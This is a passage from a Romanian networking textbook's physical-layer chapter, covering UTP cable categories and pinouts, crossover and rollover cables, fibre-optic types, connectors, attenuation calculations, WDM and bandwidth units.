mult cerinele de 0,08Mbit/s ale unui telefon VoIP la ncrcare maxim. n plus, CAT3 este
compatibil cu tehnologia Power over Ethernet (definit n standardul 802.3af PoE), tehnologie
ce descrie un sistem prin care odat cu datele se transfer i energie electric, tocmai n
scopul alimentrii anumitor aparate aflate la distan, precum telefoanele VoIP. Apariia
standardului 100BASE-T4 a dus la creterea vitezei la 100Mbit/s prin utilizarea a 4 perechi de
fire (i nu doar 2 cum prevedea standardul anterior), ceea ce a permis infrastructurilor mai
vechi, deja existente, de cabluri CAT3 s ofere o lime de band mai mare. Cu toate acestea,
utilizarea sa pentru comunicaiile de date a sczut odat cu apariia standardului CAT5.
Standardul CAT4 oferea o frecven cu puin mai mare dect CAT3, 20MHz fa de 16MHz
i era utilizat pentru o variant mbuntit a reelelor Token Ring.
1.2.2.2.2 UTP CAT5 i CAT5e
Specificaiile cablului de categoria 5, definite n TIA/EIA-568-B, indic o frecven maxim
de 100MHz. CAT5 este folosit n special n reele de 100Mbit/s (FastEthernet), dar poate fi
utilizat i pentru Gigabit Ethernet.
Odat cu definirea n 2001 a CAT5e (enhanced) n TIA/EIA-568-B, specificaiile variantei
originale CAT5 nu mai sunt recunoscute n aceste standarde.
44 | R e e l e L o c a l e

UTP CAT5e a devenit cel mai rspndit mediu de transmisie pentru reelele locale.
Datorit performanelor mbuntite fa de versiunea original, i datorit unui pre mult
mai mic dect al CAT6, CAT5e este cea mai potrivit alegere pentru infrastructura reelelor
Gigabit Ethernet. Cu toate acestea, CAT5e menine recomandarea limitrii segmentelor de la
cablu la 100 de metri, la fel ca i n cazul celorlalte tipuri de cabluri definite de TIA/EIA.
Este de reinut faptul c standardul folosit pentru Gigabit Ethernet, 1000BASE-T, impune
utilizarea a 4 perechi de fire torsadate, spre deosebire de versiunile anterioare (10BASE-T i
100BASE-T) care foloseau n comunicaie doar dou perechi. Aadar, standardul de Ethernet
ales pentru infrastructur este cel care specific numrul de perechi necesare n comunicaie,
i nu standardul de cablu. Categoria specific doar caracteristicile specifice cablului, precum:
numrul de perechi existente, pasul de torsadare, diametrul firelor, parametrii NEXT, FEXT i,
cel mai important, limita superioar de frecven. Astfel, un cablu CAT5e folosit pentru
100BASE-T (FastEthernet) utilizeaz n comunicaie 2 perechi de fire din cele 4 disponibile, n
timp ce acelai cablu pentru infrastructuri de 1000BASE-T (Gigabit Ethernet) necesit toate
cele 4 perechi.
1.2.2.2.3 UTP CAT 6, CAT6a
UTP CAT6 aduce mbuntiri majore, precum impunerea unui pas de torsadare mult mai
mic dect la CAT5 i o limit superioar de frecven de 250MHz, fiind conceput special pentru
reelele Gigabit Ethernet. Standardul de cablu categoria 6 pstreaz compatibilitatea cu
standardele CAT5, CAT5e i CAT3.
Dei CAT6 este mai frecvent folosit n reelele Gigabit Ethernet, specificaiile sale permit i
implementarea standardului 10GBASE-T (aprut n 2006), dar numai pe segmente de 55 de
metri. Pentru a face posibil utilizarea standardului 10BASE-T pe lungimi de 100 de metri, se
impune folosirea unui nou tip de cablu, definit ca standard TIA n februarie 2008, i anume
categoria 6a.
Cablul UTP CAT6a (augmented) opereaz la frecvene de pn la 500MHz (dublu fa de
CAT6), fiind destinat infrastructurilor de 10GBASE-T (10 Gigabit Ethernet).
1.2.2.2.4 UTP CAT7, CAT8
Standardul de cablul categoria 7 (CAT7) are un pas de torsadare i mai mic dect CAT6 i,
n combinaie cu conectori de tip GG45, poate trata semnale cu banda de frecven de pn la
625MHz. n plus, fiecare dintre cele patru perechi de fire este ecranat individual (pe lng
nveliul exterior al cablului). Dei a fost creat pentru 10 Gigabit Ethernet, cea mai folosit
tehnologie pentru 10GBASE-T rmne CAT6a.
Categoria 7 este i cea mai strict n privina normelor de siguran referitoare la
comportamentul cablurilor n situaii de incendiu: viteza de rspndire a focului, substane
emanate, etc. Un exemplu care s justifice necesitatea unor astfel de reglementri este cel al
cablurilor cu nveliul din PVC, foarte populare datorit pretului sczut. n momentul n care
iau foc, aceste cabluri degaj substane foarte toxice omului, fiind total nepotrivite pentru
cablrile orizontale.
UTP CAT8 este destinat infrastructurilor multimedia, un astfel de cablu putnd transporta
simultan oricare patru servicii de tip TV, video, satelit, audio, date, etc. Cablul UTP Cat 8
opereaz cu frecvene de 1200MHz i poate ajunge la maxim 1400MHz.



45 | N i v e l u l f i z i c

Categorie
cablu Frecven
Viteza de
transmisie Utilizare
Cat 1 1Mbps
Telefonia
clasic
Cat 2 4Mbps
Transmisiuni
seriale
Cat 3 16MHz
10 Mbps
100 Mbps
TokenRing
10BaseT
100BaseT4
Cat 4 20MHz
16 Mbps
100 Mbps
TokenRing
10BaseT
100BaseT4
Cat 5 100MHz


10 Mbps
100 Mbps
ATM,
TokenRing,
10BaseT
100BaseTX
Cat 5e 155MHz
10 Mbps
100 Mbps
1 Gbps
10BaseT,
100BaseTX,
1000BaseT
Cat 6 250MHz
100Mbps
1 Gbps
100BaseTX
1000BaseT
Cat 6a 500MHz 10 Gbps 10GBaseT
Cat 7 625MHz 10 Gbps 10GbaseT
Cat 8 1200Mhz 10 Gbps 10GbaseT
1-10: Categorii de cablu
1.2.2.3 Tipuri de cabluri UTP
Procedura de fixare a firelor unui cablu ntr-un conector se numete sertizare. Standardul
TIA/EIA-568B specific dou moduri n care pot fi ordonate firele la o terminaie a cablului,
seciunea corespunztoare fiind probabil i cea mai cunoscut din ntreaga documentaie.
Pentru a fi uor identificate, cele opt fire sunt colorate diferit. Culorile folosite pentru cele
patru perechi sunt: albastru, verde, portocaliu i maro. Pentru a deosebi firele unei perechi,
unul are nveliul de culoare uniform, cellalt avnd doar o dung din culoarea respectiv pe
fond alb. Cele dou moduri specificate de TIA/EIA-568-B pentru ordonare firelor se numesc
T568A (standard folosit mai mult n Statele Unite) i T568B (folosit n general n Europa).

Pin T568 B Pin T568 A
1 Alb-portocaliu 1 Alb-Verde
2 Portocaliu 2 Verde
3 Alb-Verde 3 Alb-portocaliu
4 Albastru 4 Albastru
5 Alb-albastru 5 Alb-albastru
6 Verde 6 Portocaliu
7 Alb-maro 7 Alb-maro
8 Maro 8 Maro
1-11: Codurile culorilor n cablul UTP
46 | R e e l e L o c a l e

Dup cum se tie, tehnologiile 100BaseTX i 10BaseT folosesc doar dou perechi din cele
patru: una pentru transmisie (Tx+ i Tx-) i una pentru recepie (Rx+ i Rx-). Conform
standardelor de mai sus, acestea sunt portocaliu i verde (pinii 1,2,3 i 6). Atenie: firele de Tx
precum i firele de Rx trebuie s fac parte din aceeai pereche! Se observ c prima pereche
ajunge pe pinii 1 i 2 iar a doua pereche pe pinii 3 i 6.
n funcie de corespondena perechilor dintr-un capt cu pinii de la cellalt capt, cablurile
se mpart n trei categorii:
1.2.2.3.1 Straight-through
Cablul direct (straight-through) are ambele capete sertizate conform aceluiai standard
(T568A - T568A n SUA, sau T568B - T568B n Europa). Se folosete atunci cnd se conecteaz o
staie la un switch sau la un hub. Cele dou capete avnd aceeai ordine a firelor, fiecare pin al
conectorului dintr-un capt comunic direct cu pin-ul corespunztor al conectorului de la
cellalt capt al cablului.
Atunci cnd se conecteaz o staie la un switch sau hub se folosete un cablu direct!
1.2.2.3.2 Crossover
Cablul crossover se folosete la conectarea a dou calculatoare ntre ele, fr a mai folosi
un switch sau un hub. Prin felul n care este construit acest cablu, pinul 1 de la un capt va
corespunde pinului 3 de la cellalt capt, iar pinul 2 pinului 6. Aceasta nseamn c datele
transmise prin perechea Tx de la un capt vor ajunge pe pinii de Rx de la conectorul opus.
Astfel, dou calculatoare pot transfera date direct ntre ele, fr a mai trece printr-un alt
echipament, dac plcile lor de reea sunt legate printr-un cablu crossover. ntruct singura
diferen dintre T568A i T568B este inversarea perechii portocalii cu perechea verde, un
cablu crossover poate fi vzut ca avnd un conector sertizat conform T568A i pe cellalt
conform T568B. Un astfel de cablu va funciona pentru standardul 10BASE-T sau 10BASE-TX,
unde se folosesc doar 2 perechi. Pentru 1000BASE-T (Gigabit crossover) ns, trebuie inversate
i celelalte dou perechi (albastru i maro), i, n plus, schimbate ntre ele firele fiecrei
perechi (cea dungat cu cea uniform).
Pentru a transfera date direct ntre dou staii, se folosete un cablu crossover!
1.2.2.3.3 Rollover
Cablul de consol (rollover) este folosit atunci cnd se dorete conectarea pe un port de
consol a unui router. Exist mai multe variante de cabluri ce pot fi folosite pentru a face
legtura ntre un PC i un port de consol al unui router. ntotdeauna portul calculatorului
pentru o astfel de legtur este unul serial (DB-9 sau DB-25). Portul de pe router poate fi DB-
25 sau RJ-45. Astfel, se poate folosi un cablu ce are ca terminatori o muf DB-9 i una RJ-45
sau un cablu rollover i un adaptor RJ45 DB9 (sau RJ45 DB25).
1.3 Soluii de comunicaie pe fibr optic
Fibra optic este cel mai nou mediu de transmisie dezvoltat pentru reele de calculatoare,
avnd numeroase avantaje fa de cablurile de cupru, dintre care cele mai importante sunt
viteza de transmisie superioar pe care o suport i imunitatea la interferene electrice.
Principalele dezavantaje sunt costul i dificultatea manevrrii i instalrii. Acest mediu este
folosit cu preponderen pentru legturi punct la punct la distane mari (peste cteva sute de
metri).
47 | N i v e l u l f i z i c

Un sistem de transmisie pe fibr optic este format dintr-un emitor (LED sau laser), o
fibr transportoare i un receptor. Semnalul pe fibr optic este, de fapt, unda luminoas
emis de un LED sau de un laser, n funcie de tipul de fibr.
S-a observat c pentru anumite lungimi de und semnalul sufer o atenuare mai mic
dect pentru altele. n urma studiilor, s-au stabilit trei intervale (ferestre) pentru valorile
lungimilor de und la care atenuarea este foarte sczut i care permit emitorului s
genereze mai multe semnale luminoase, iar receptorului s detecteze mai multe semnale.
Aceste intervale sunt prezentate n graficul de mai jos.

1-12: Intervalele de lungimi de und pentru care atenuarea este minim
Notaiile OH- indic faptul c la acele lungimi de und n mod special, prezena ionilor OH-
din materialul fibrei optice produc creteri foarte mari ale atenurii. De aceea, lungimile de
und utilizate n sistemele optice sunt: 850nm, 1300nm (pentru fibra multi-mode) i 1310nm,
1550nm (pentru single-mode).
Interiorul fibrei optice este format din miez (core) i nveli (cladding), dou tuburi
concentrice de sticl, inseparabile, avnd indici de reflexie diferii. Propagarea semnalului se
bazeaz pe fenomenul de reflexie total. Cladding-ul, foarte subire, cu diametrul de 125
microni, este nvelit n trei straturi protectoare: un strat numit buffer, de obicei colorat, un
nveli rezistent de protecie fabricat din kevlar (din acest material se fabric i vestele anti-
glon) numit Aramid Yarn i un nveli exterior din PVC (jacket). Aceste trei straturi au rol de
protecie pentru partea din sticl care este foarte fragil.

1-13: Structura fibrei optice
48 | R e e l e L o c a l e

n funcie de modul de transmisie i, implicit, de dimensiunea core-ului, fibrele optice se
mpart n dou categorii: single-mode i multi-mode.
1.3.1 multi-mode
Fibra multi-mode are dimensiunea core-ului de 50 sau 62,5 microni, acest lucru permind
transmiterea semnalului prin reflexie n pereii core-ului. Acest tip de fibr permite distane
mai mici dect cea single-mode (deoarece lumina are un drum mai lung de parcurs), ns este
mai ieftin i mai uor de folosit (mai uor de terminat cu conectori i de sudat). De asemenea,
echipamentele care emit semnal pe fibra optic multi-mode sunt mai ieftine, deoarece
folosesc LED-uri (light emitting diode) cu lungimi de und de 850 sau 1300 nanometri. Aceste
echipamente cu LED-uri nu sunt periculoase pentru oameni (nu afecteaz ochii).

1-14: Structura fibrelor optice single-mode i multi-mode
1.3.2 single-mode
Fibra optic single-mode are o dimensiune a core-ului de 10 microni (mai nou ntre 5 i 8
microni), acesta acionnd ca un ghidaj pentru raza luminoas a semnalului care se transmite
astfel aproape fr reflexie. Echipamentele terminale folosesc pentru a emite semnale
luminoase lasere cu lungimi de und de 1310 sau 1550 nanometri. Deoarece laserul emite o
und luminoas foarte puternic i focalizat, aceste echipamente pot produce leziuni grave
ochiului. Aadar, dac vrem s vedem lumin ntr-o fibr optic, cel mai bine ar fi s alegem un
echipament multimode sau o lantern!
1.3.3 Comparaie ntre single-mode i multi-mode
Fibra optic single-mode permite distane mai mari de transmisie dect cea multi-mode,
ns este mult mai scump i impune precauii speciale. De asemenea, echipamentele pentru
single-mode sunt mai scumpe dect cele pentru multi-mode.
Din punct de vedere al vitezei maxime de transmisie, limita fizic este impus de
tehnologia folosit de echipamentele terminale, mai exact de viteza cu care sunt convertite
impulsurile electrice n semnal optic, limita teoretic a limii de band pe fibra optic n sine
fiind foarte mare (~80 Tbps). Dei, de exemplu, standardul Ethernet 802.3 pentru transmisie
pe fibra optic limiteaz lungimea unui segment de fibr optic multi-mode la 2 km i unul de
single-mode la 3 km, trebuie menionat c aceste limite se refer la modul de funcionare
CSMA-CD (atunci cnd sunt posibile coliziuni). Deoarece n cazul legturilor de fibr optic
sunt implicate conexiuni punct la punct, unde transmisia este full-duplex i nu exist
posibilitatea apariiei coliziunilor, limitarea distanei maxime la care se poate ntinde un
segment de fibr optic este dat numai de puterea de emitere a dispozitivelor terminale,
putnd ajunge n cazul transmisiei single-mode i la 120 de km pentru FastEthernet i mult mai
mult pentru alte tehnologii.
49 | N i v e l u l f i z i c


1-15: Categorii de fibr i moduri de propagare
O comparaie ntre laserele semiconductoare i LED-uri ca surse de lumin este prezentat
n tabelul de mai jos:

Criteriu LED Laser
Lungimea de und folosit 850nm sau 1300nm 1310nm sau 1550nm
Tip de fibr Multimode Singlemode
Viteza de transfer a datelor Mic Mare
Distan Scurt Lung
Cost Redus Ridicat
Durat de via Lung Scurt
1.3.4 Mod de construcie, conectori
Procedeul industrial de construcie al fibrei optice este foarte delicat i, de aceea, foarte
scump. Acest procedeu se numete OVD (Outside Vapor Deposition), iar fibra rezultat este
sintetic i are o consisten i o geometrie extrem de precise. n linii mari, prin diferite
procese chimice i la temperaturi foarte nalte, se obin doi cilindri concentrici de sticl foarte
pur, dup care cilindrul astfel rezultat se trage i se alungete pn cnd se obine o fibr
care este rulat pe o rol mare. Procesul este continuu, adic pe msur ce se trage, se ruleaz
fibra obinut pe rol. Acum se explic de ce fibra optic single-mode este mai scump dect
cea multi-mode.
Fibra optic folosit n exteriorul cldirilor este diferit de fibra pentru cablarea de
interior. Pentru cablrile de exterior se folosete fibra loose-tube ce conine mai multe perechi
de fibre, fiecare dintre acestea avnd doar core i cladding. O fibr de exterior poate conine
de la cteva perechi pn la mii de perechi de fibre, costul cel mai mare pentru o instalare de
exterior fiind manopera i nu fibra propriu-zis.
Pentru cablarea de interior putem ntlni dou tipuri de fibr: cabluri cu mai multe
perechi, numite tight-buffer i cabluri cu o singur fibr, numite patch-uri. Cablurile cu mai
multe perechi sunt folosite pentru cablarea orizontal, n vreme ce patch-urile sunt folosite
pentru interconectarea dispozitivelor pe distane mici.
1.3.4.1 mbinri
Prin mbinare (splicing) se nelege conectarea permanent a dou cabluri de fibr optic.
mbinrile se realizeaz cu ajutorul unor dispozitive numite splice-uri. Caracterul permanent al
50 | R e e l e L o c a l e

mbinrii este cel care face diferena ntre un conector i un splice. Totui, terminologia poate
crea confuzii, deoarece exist productori ce ofer i splice-uri nepermanente, care pot fi
decuplate n scopul efecturii unor reparaii sau rearanjri.
mbinrile sunt necesare, spre exemplu, pentru realizarea unor cabluri cu lungimi mai mari
dect cele predefinite. Se poate ntmpla adesea ca un instalator de fibr optic s aib n stoc
mai multe cabluri cu diverse lungimi (n general productorii ofer cabluri de lungime limitat
maxim 6 km) dar s nu aib unul de 10 km. Cu ajutorul splice-urilor se pot mbina dou sau
mai multe segmente pentru a obine cablul de lungimea dorit.
Realizarea mbinrilor necesit o aliniere foarte precis a celor dou core-uri, astfel nct,
la trecerea luminii prin punctul de jonciune, s se piard ct mai puin energie. Cu alte
cuvinte, trebuie ca aproape toat lumina venit pe o fibr s ajung n core-ul celei de-a doua.
Contactul efectiv ntre cele dou tuburi de sticl nu este neaprat necesar. Cea mai mare
provocare pentru designer-ii de splice-uri este dat de necesitatea alinierii foarte precise.
Exist dou mari tipuri de mbinri: mecanice sau prin sudur.
mbinrile prin sudur folosesc un arc electric pentru a topi i suda cele dou fibre de
sticl. Aceste suduri implic o procedur complicat de aliniere, controlat prin calculator, i
reuesc s limiteze pierderile la doar 0,05dB. Costurile manoperei pentru acest tip de mbinare
sunt, ns, foarte ridicate, la fel i costurile de timp.
mbinrile mecanice sunt rapid de implementat i nu necesit o instruire prealabil, ns
pierderile sunt de aproape 0,2dB.
1.3.4.2 Conectori
Un cablu de fibr optic poate fi terminat n dou feluri folosind splice-uri prin care se
realizeaz mbinri permanente sau nepermanente ntre dou fibre sau folosind conectori
pentru cuplarea cablului la un echipament de reea. Aceste terminaii trebuie s fie alese n
conformitate cu tipul fibrei i instalate astfel nct s minimizeze pierderile de lumin i s nu
permit ptrunderea impuritilor. ntruct fibra optic a aprut la sfritul anilor `70,
productorii au scos pe pia peste 80 de modele de conectori i numeroase metode de
instalare, fiecare ncercnd s scad ct mai mult atenuarea (pierderea de semnal) i reflexia
(apariia de semnale reziduale). Dintre acestea, ns, doar cteva tipuri sunt folosite n mod
curent. Cei mai populari conectori sunt cei de tip ST (Straight Tip) i SC (Subscriber Connector).
Conectorul de tip ST, aprut n 2005, are o form circular, asemntoare ntr-o anumit
msur cu BNC-ul i este nc folosit pentru reelele multimode. Cilindrul (ferula) care susine
fibra are 2,5 mm, la fel ca majoritatea conectorilor i este confecionat cel mai adesea din
ceramic sau metal i rareori din plastic. ntruct mbinarea se face prin presare, se poate
ntmpla s nu fie poziionat corect i, de aceea, n caz c se sesizeaz pierderi prea mari,
trebuie scos i reconectat. Din pcate, acest conector ocup loc mult i, de aceea, conectorul
recomandat n acest moment este SC, care are o form dreptunghiular i o conectare de tip
push-pull.
SC a fost definit n standardul TIA-568-A, dar nu a fost folosit la nceput deoarece costa de
dou ori mai mult dect un conector ST. n ziua de azi este cel mai popular datorit
performanelor sale foarte bune, a manipulrii foarte facile i a preului aproape egal cu cel al
unui conector ST. Este disponibil i n varianta pentru configuraii duplex. Trebuie menionat
c transmisia pe fibr optic se face pe o pereche (un fir pentru TX i unul pentru RX);
conectorii duplex permit terminarea ambelor fibre n aceeai muf.
Conectorii impun o atenie sporit la terminarea cablurilor de fibr optic, deoarece
punctele de jonciune sunt cele care introduc cea mai mare atenuare i unde se poate
ntmpla ca lumina fi reflectat napoi n fibr.
51 | N i v e l u l f i z i c



1-16: Conectori ST (sus) i SC (jos)
Pentru a face conectorii mai uor de recunoscut, standardul TIA-568 specific un cod al
culorilor n care conectorii pentru fibr multi-mode au culoarea bej, iar cei pentru single-mode
sunt albatri.

1-17: Conectori ST i SC
1.3.4.3 Analiza performanelor unei legturi pe fibr optic
Exist mai multe metode pentru calculul atenurii i pentru estimarea distanei maxime n
cazul unei legturi prin fibr optic. Cea mai simpl i mai precis metod este folosirea unui
Optical Time Domain Reflectometer (OTDR). Cu ajutorul acestui instrument se obine o valoare
exact pentru ntreaga energie ce se pierde prin atenuare (att atenuarea mediului ct i cea
introdus de conectori sau de splice-uri). n lipsa unei caracterizri riguroase date de un OTDR,
atenuarea unei legturi poate fi estimat dac sunt cunoscute lungimea fibrei i variabilele de
atenuare.
Variabilele de atenuare sunt conectorii, splice-urile i rata de atenuare pe kilometru
specific fibrei. Dac nu pot fi cunoscute valorile exacte pentru toate variabilele, este necesar
o estimare a acestora, i anume, luarea n calcul a cazului cel mai nefavorabil. Tabelul de mai
jos include valorile atenurii stabilite prin convenie (EIA/TIA) pentru variabilele de atenuare.
Atenuarea introdus de un conector se estimeaz la 0,75dB, cea introdusa de un splice
mecanic 0,2dB, iar cea aprut n cazul unei suduri 0,05dB.
Valorile aproximative de mai sus repretint cazul cel mai defavorabil. Fiecare productor
de echipamente pentru fibr optic ncearc s reduc cu ct mai mult atenuarea pentru
fiecare dintre variabile.


52 | R e e l e L o c a l e

Tipul de fibr Lungimea de und Atenuarea / km
Multimode 50/125m
850 nm 3,5 dB
1300 nm 1,5 dB
Multimode 65,5/125 m
850 nm 3,5dB
1300 nm 1,5 dB
SingleMode 9m
1310nm 0,4dB
1550nm 0,3dB
1-18: Categorii de fibr optic
Pentru a calcula atenuarea total se nmulete lungimea cablului (n km) cu atenuarea
corespunztoare tipului de fibr i se adun atenuarea introdus de fiecare splice sau conector
de pe legtur. De exemplu, pentru un cablu de 40 de km de fibr single-mode la 1310nm cu 2
conectori i 5 splice-uri de tip sudur, atenuarea total se calculeaz: 40km x 0,4dB/km +
0,05dB x 5 + 0,75dB x 2 = 17,75dBm.
La aceast valoare se recomand adugarea unei marje de siguran de cel puin 10dB
deoarece se poate ntmpla ca estimrile s fi fost prea optimiste, specificaiile vendor-ului
inexacte sau, pur i simplu, atenuarea introdus de anumite componente s nu fi fost luat n
calcul. Ceea ce nseamn c este nevoie de o putere de aproximativ 27,75 dBm pentru ca
semnalul s ajung la destinaie peste nivelul minim de sensibilitate al receptorului. dBm
este unitatea folosit n exprimarea puterii msurate raportat la un miliWatt.
Bugetul optic reprezint diferena dintre puterea minim de transmisie a emitorului i
sensibilitatea receptorului. Este important ca dup ce legtura a fost stabilit, s se msoare i
s se verifice valorile efective ale atenurii, pentru a identifica potenialele probleme de
performan.
Distanele recomandate de ctre IEEE pentru un cablu de fibr optic n funcie de
standardul Ethernet care va fi folosit sunt prezentate n tabelul urmtor.

Standard Bandwidth Tipul de fibr Distana
recomandat
10BASE-FL 10 850nm Multimode 50/125 m sau 65,5/125 m 2 km
100BASE-FX 100 1300nm Multimode 50/125 m sau 65,5/125 m 2 km
100BASE-SX 100 850nm Multimode 50/125 m sau 65,5/125 m 300 m
1000BASE-SX 1000 850nm Multimode 50/125 m 550 m
Multimode 65,5/125 m 220 m
1000BASE-LX 1000 1300nm Multimode 50/125 m sau 65,5/125 m 550 m
1310nm Singlemode 9/125 m 5 km
1000BASE-LH 1000 1550nm Singlemode 9/125 m 70 km
1.3.5 Multiplexarea prin divizarea lungimii de und WDM
n seciunile anterioare s-a discutat despre multiplexare, procedeul prin care mai multe
canale de date sunt combinate ntr-un singur canal.
WDM (Wavelength Division Multiplexing) este o form de multiplexare pentru canalele de
fibr optic ce duce la o cretere semnificativ a capacitii de transmitere a datelor n mediul
optic. Principiul de funcionare al acestei tehnologii l reprezint multiplexarea mai multor raze
optice ntr-un singur canal (fibr comun) printr-un sistem complex de oglinzi i folosirea unor
lungimi de und diferite. Ct timp fiecare canal are propriul domeniu de frecven (lungime de
53 | N i v e l u l f i z i c

und) i toate aceste domenii sunt disjuncte, ele pot fi multiplexate mpreun pe o fibr pe
distan foarte mare.

1-19: WDM
Sistemul WDM folosete pentru transmisia pe distane foarte mari un multiplexor la
transmitor pentru combinarea semnalelor pe un canal comun i un demultiplexor la
receptor pentru a le despri. Fiecare fibr de la destinaie conine un filtru special (construit
folosind o prism), care filtreaz toate lungimile de und mai puin una. Semnalele rezultate
pot fi rutate ctre destinaie sau recombinate n diferite feluri pentru transmisii ulterioare.
Concept publicat nc din anii 1970, tehnologia WDM a progresat extrem de rapid. Dac
primul sistem WDM combina doar 2 canale, sistemele moderne pot combina pn la 160 de
semnale, putnd astfel extinde un sistem de 10Gbps pn la o valoare teoretic de 1Tbps doar
pe o pereche de fibr optic. n 2001 existau produse pe pia cu 96 de canale de 10Gbps
fiecare, deci un total de 960Gbps. n laboratoare se lucreaz deja la sisteme ample ce cuprind
peste 200 de canale. Atunci cnd numrul de canale este foarte mare i lungimile de und sunt
foarte apropiate (0,1nm) sistemul este numit DWDM (Dense WDM).
1.3.6 Comparaie ntre fibra optic i cablul UTP
La nceputurile fibrei optice au existat preri conform crora n civa ani firele de cupru
vor fi nlocuite n totalitate cu fibr optic. Acest lucru s-a dovedit greit. Printre avantajele pe
care le prezint firele de cupru se numr: preul sczut, instalarea facil, faptul c nu
necesit atenie sporit n utilizare. Aceste avantaje fac firele de cupru mediul ideal pentru
cablri n reele mici i mijlocii, n interiorul cldirilor, unde nu se justific fibra optic. Printre
dezavantajele majore ale firelor de cupru se numr: sunt susceptibile la interferene electrice
i pot fi folosite pe distane relativ mici - oricum mult, mult mai mici dect echivalentul lor n
fibr optic.
Fibra are multe avantaje. n primul rnd, lrgimea de band pe care o suport este mai
mare dect a cuprului. Un singur cablu de fibr optic multi-mode (ce conine mai multe fibre)
poate purta acum aproape 5 milioane de convorbiri telefonice simultane. Fibra are avantajul
c nu este afectat de ocurile electrice, de interferena cmpului electromagnetic sau de
cderile de tensiune. De asemenea, nu este afectat de substanele chimice corozive din aer,
fiind ideal pentru mediile aspre din fabrici. Companiile de telefoane prefer fibra i din alt
motiv: este subire i foarte uoar. Canalele cu cabluri sunt, n general, pline pn la refuz;
prin nlocuirea cuprului cu fibr se golesc canalele, iar cuprul are o valoare foarte bun pe
pia. n plus, 900 de cabluri torsadate de 1 km lungime cntresc 7250 kg. Un cablu ce
conine 24 fibre i are aceeai capacitate cntrete doar 60 kg, acest lucru reducnd drastic
necesitatea unor echipamente mecanice scumpe care trebuie ntreinute. n fine, fibrele
optice introduc o atenuare neglijabil i sunt foarte dificil de interceptat. Acest lucru le ofer o
excelent securitate. Motivul pentru care fibra este mai bun dect cuprul este intrinsec.
Electronii n micare dintr-un cablu interacioneaz cu ali electroni i sunt influenai de ali
54 | R e e l e L o c a l e

electroni din afara cablului. Fotonii dintr-o fibr nu interacioneaz ntre ei i nu sunt afectai
de fotonii din exterior.
Pe de alt parte, fibra este o tehnologie mai puin familiar i necesit o pregtire pe care
muli ingineri nu o au. Terminarea fibrei (adic ataarea conectorilor) este un procedeu dificil
care necesit mult pregtire i experien. De asemenea, fibra optic este suficient de
pretenioas i, de aceea, necesit o utilizare mai atent dect cablul UTP (nu trebuie ndoit
prea tare, clcat sau strns dup piciorul mesei, etc). Deoarece transmisia optic este prin
natura ei unidirecional, comunicaiile bidirecionale necesit fie dou fibre, fie dou benzi de
frecven diferite pe aceeai fibr. Nu n ultimul rnd, interfeele pentru fibr cost mult mai
mult dect interfeele electrice.
Cu toate acestea, este foarte probabil c n viitor toate comunicaiile de date pe lungimi
mai mari de cteva zeci de kilometri se vor face prin fibr optic.
1.4 Caracteristici ale mediilor de transmisie
1.4.1 Frecvena
Frecvena este, probabil, cel mai important parametru al mediului de transmisie. Ea este
cea care arat cte semnale pot fi puse pe mediu n unitatea de timp, aadar, care este
cantitatea maxim de informaie ce ar putea fi transferat.
1.4.2 Limea de band
Termenul de lime de band (bandwidth) poate fi interpretat n dou feluri. Unul dintre
sensuri este acela al diferenei dintre dou niveluri de frecven, adic dimensiunea unei benzi
de frecven (msurat n Hertzi).
Cel de-al doilea sens al termenului indic numrul maxim de bii transferai sau procesai
n unitatea de timp. Tabelul de mai jos poate da o idee despre ce lime de band ocup
diverse servicii oferite de reelele actuale.

Voce (VoIP) 0,1 Mbps
Navigare pe internet 5 Mbps
Interaciuni video, jocuri,
EoD (Entertaiment on Demand) , video conferine
10 Mbps
HDTV, IPTV,
VoD (Voice on Demand) 1 - 3 canale
30 Mbps

Din acest tabel putem observa c n viitor, pentru a beneficia i de servicii HDTV, cerinele
minime ale unei reele n ceea ce privete limea de band vor depi 50 Mbps.
1.4.3 Uniti de msur
Unitile de msur reprezint una dintre cele mai frecvente surse de erori n discuiile
despre reelele de calculatoare. Erorile in att de unitile de msur propriu-zise, ct i de
multiplii acestora.
Prima confuzie apare n exprimarea vitezei de transfer. Capacitatea mediului de transmisie
este msurat n bii pe secund, n vreme ce cantitatea de date transferat este cel mai
adesea exprimat n octei pe secund. n plus, notaiile celor dou uniti de msur sunt
foarte similare: n primul caz se folosete notaia bps, iar pentru transferul de date Bps.
Atunci cnd un modem se conecteaz la 33,6 k, acetia sunt kbps, iar prin mprirea la 8
se obin 4,2 kiloBytes. Pentru acest caz, dac fereastra browser-ului web arat o vitez de
55 | N i v e l u l f i z i c

descrcare de 4 k, adic 4 kBytes, conexiunea este considerat de bun calitate. Cu toate
acestea, se poate ntmpla ca viteza de transfer afiat s fie mai mare dect viteza
modemului. Explicaia cea mai probabil a unei astfel de situaii este c datele transferate sunt
necomprimate (fiiere text, spre exemplu, precum codul paginilor HTML) i modemul sau
aplicaia de transfer realizeaz o compresie a acestora.
Un alt factor n diferena dintre viteza mediului i viteza de transfer a datelor este
cantitatea de informaie adugat de stiva de protocoale prin diferitele antete. Pentru o
transmisie ce folosete TCP/IP peste Ethernet aceast informaie suplimentar variaz ntre 58
i 98 de octei, ceea ce pentru cadru de maxim 1500 de octei specificat de Ethernet nseamn
c pn la 6,5% din informaia transferat nu e informaie util. Aceast valoare este i mai
mare dac nu se folosesc doar pachete de dimensiune maxim. Altfel spus, pentru o reea
Ethernet, dei aceasta dispune de o lime de band de 10 Mbps, viteza de transfer a datelor
este de aproximativ 1,15 MBps.
O a doua confuzie important apare n exprimarea multiplilor unitilor de msur. n
transmisia de date un kilobit reprezint 1000 de bii, n vreme ce din punctul de vedere al
sistemelor de operare un kilobit este compus din 1024 de bii.
Noiunea de baud era folosit ca unitate de msur n exprimarea vitezei pentru
transmisiile de date, n special pe legturile seriale. Numrul de bauzi indica numrul de
schimbri pe secund ale strii mediului de transmisie (de schimbri ale nivelului de tensiune).
ntruct o astfel de schimbare sesizat pe mediu poate fi interpretat nu doar ca un singur bit,
ci i ca doi sau mai muli, n funcie de modularea folosit, unitatea de msur adecvat este
cea de bps (bii pe secund).
1.4.4 Baseband i broadband
Termenii de baseband (n band de baz) i broadband (n band larg) descriu
numrul de canale de comunicaie folosite pe un anumit mediu de transmisie. Cu alte cuvinte,
pe un fir de cupru transmisia poate fi fcut pe un singur canal de comunicaie (cazul
baseband) sau pe mai multe canale (cazul broadband).
n cazul comunicaiei n band de baz, pe mediul de transmisie exist un sigur semnal.
Acel semnal poate avea mai multe componente, ns din punct de vedere al firului de cupru
sau al fibrei optice este un singur semnal (electric sau optic).

1-20: Transmisie baseband (n banda de baz)
De exemplu, n telefonia fix din Romnia mediul fizic de transmisie este alctuit din dou
